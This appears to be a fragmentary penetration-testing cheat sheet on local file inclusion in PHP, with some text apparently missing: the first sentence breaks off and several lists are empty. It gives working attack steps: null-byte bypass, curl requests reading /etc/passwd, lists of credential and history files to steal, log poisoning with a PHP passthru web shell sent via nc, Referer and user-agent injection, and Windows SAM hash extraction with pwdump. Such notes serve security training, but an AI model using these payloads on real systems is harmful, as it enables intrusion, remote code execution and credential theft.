In this example the user could just enter this string and retrieve the
It is common to add the file-extension through the php-code. Here is how this would look like:
$file = $_GET['page'];
require($file . ".php");
The php is added to the filename, this will mean that we will not be able to find the files we are looking for. Since the file
/etc/passwd.phpdoes not exist. However, if we add the nullbyte to the end of our attack-string the
.phpwill not be taken into account. So we add
%00to the end of our attack-string.
So if you have an LFI you can easily read
.txt-files but not
.phpfiles. That is because they get executed by the webserver, since their file-ending says that it contains code. This can be bypassed by using a build-in php-filter.
Download config-files in a nice style-format
If you read files straight in the browser the styling can becomes unbearable. Really difficult to read. A way around it is to download the files from the terminal. But that won't work if there is a login that is blocking it. So this is a great workaround:
# First we save the cookie
curl -s http://example.com/login.php -c cookiefile -d "user=admin&pass=admin"
curl -s http://example.com/gallery.php?page=/etc/passwd -b cookiefile
/etc/issue (A message or system identification to be printed before the login prompt.)
/etc/motd (Message of the day banner content. Can contain information about the system owners or use of the system.)
/etc/resolv.conf (might be better than /etc/passwd for triggering IDS sigs)
/home/[USERNAME]/.bash_history or .profile
~/.bash_history or .profile
$USER/.bash_history or .profile
/root/.bash_history or .profile
Web server files
# Usually found in the root of the website
User specific files
Found in the home-directory
Under the right circumstances you might be able to get a shell from a LFI
There are some requirements. We need to be able to read log files. In this example we are going to poison the apache log file. You can use either the success.log or the error.log
So once you have found a LFI vuln you have to inject php-code into the log file and then execute it.
Insert php-code into the log file
This can be done with nc or telnet.
nc ip 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
You can also add it to the error-log by making a request to a page that doesn't exists
nc ip 80
GET /AAAAAA<?php passthru($_GET['cmd']); ?> HTTP/1.1
Or in the referer parameter.
GET / HTTP/1.1
Referer: <? passthru($_GET[cmd]) ?>
Execute it in the browser
Now you can request the log-file through the LFI and see the php-code get executed.
If you can read the proc-files on the system you might be able to poison them through the user-agent.
We can also inject code into /proc/self/environ through the user-agent
c:\Program Files\Apache Group\Apache\conf\httpd.conf
c:\Program Files\Apache Group\Apache2\conf\httpd.conf
Common path for apache log files on windows:
c:\Program Files\Apache Group\Apache\logs\access.log
c:\Program Files\Apache Group\Apache\logs\error.log
PHP Session Locations
Retrieving password hashes
In order to retrieve the systems password hashed we need two files: system and SAM. Once you have those two files you can extract the hased using the kali tool pwdump, like this:
pwdump systemfile samfile
The system and SAM files can be found in different locations, so try them all. From a webserver the path might be case-sensitive, even though it is windows. So consider that!
Systemroot is usually windows